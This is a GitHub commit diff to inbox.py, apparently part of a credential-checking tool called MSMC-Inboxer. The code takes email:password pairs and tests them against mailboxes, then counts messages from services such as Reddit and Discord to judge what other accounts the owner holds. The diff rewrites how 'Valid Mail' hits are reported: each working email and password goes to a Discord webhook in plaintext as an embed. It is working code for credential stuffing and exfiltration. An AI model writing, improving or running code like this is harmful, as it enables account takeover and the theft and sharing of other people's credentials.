Skip to content

Commit a6e02d6

Browse files
authored
Improved Webhooks
1 parent fb056b4 commit a6e02d6

File tree

1 file changed

+35
-13
lines changed

1 file changed

+35
-13
lines changed

inbox.py

Lines changed: 35 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -117,16 +117,38 @@ def inboxmail(email, password):
117117
continue
118118
# Discord Webhook
119119
if any(count > 0 for count in counts.values()):
120-
message = f"**Valid Mail!**\n{email}:{password}\n\n**Capture:**\n"
121-
for service, count in counts.items():
122-
if service == 'Reddit' and count > 1 and reddit_year:
123-
message += f"{service}: {count} ✅ (Estimated Year: {reddit_year})\n"
124-
elif service == 'Discord' and count > 1 and discord_year:
125-
message += f"{service}: {count} ✅ (Estimated Year: {discord_year})\n"
126-
elif count > 0:
127-
message += f"{service}: {count}\n"
128-
129-
payload = {"content": message}
130-
r = requests.post(discord_webhook, data=json.dumps(payload), headers={"Content-Type": "application/json"})
131-
if r.status_code == 404:
132-
input("Hold up! You forgot to provide a webhook for Inbox. Hits are not being logged! Edit addons/Inbox/config.json")
120+
embed = {
121+
"title": "Valid Mail",
122+
"description": f"{email}:{password}",
123+
"color": 0x00f556,
124+
"fields": [],
125+
"footer": {
126+
"text": ".gg/PGer • MSMC-Inboxer"
127+
}
128+
}
129+
130+
for service, count in counts.items():
131+
if count > 0:
132+
if service == 'Reddit' and count > 1 and reddit_year:
133+
embed["fields"].append({
134+
"name": service,
135+
"value": f"``{count} Hits (Estimated Year: {reddit_year})``",
136+
"inline": True
137+
})
138+
elif service == 'Discord' and count > 1 and discord_year:
139+
embed["fields"].append({
140+
"name": service,
141+
"value": f"``{count} Hits (Estimated Year: {discord_year})``",
142+
"inline": True
143+
})
144+
else:
145+
embed["fields"].append({
146+
"name": service,
147+
"value": f"``{count} Hits``",
148+
"inline": True
149+
})
150+
151+
payload = {"embeds": [embed]}
152+
r = requests.post(discord_webhook, data=json.dumps(payload), headers={"Content-Type": "application/json"})
153+
if r.status_code == 404:
154+
input("Hold up! You forgot to provide a webhook for Inbox. Hits are not being logged! Edit addons/Inbox/config.json")

0 commit comments

Comments
 (0)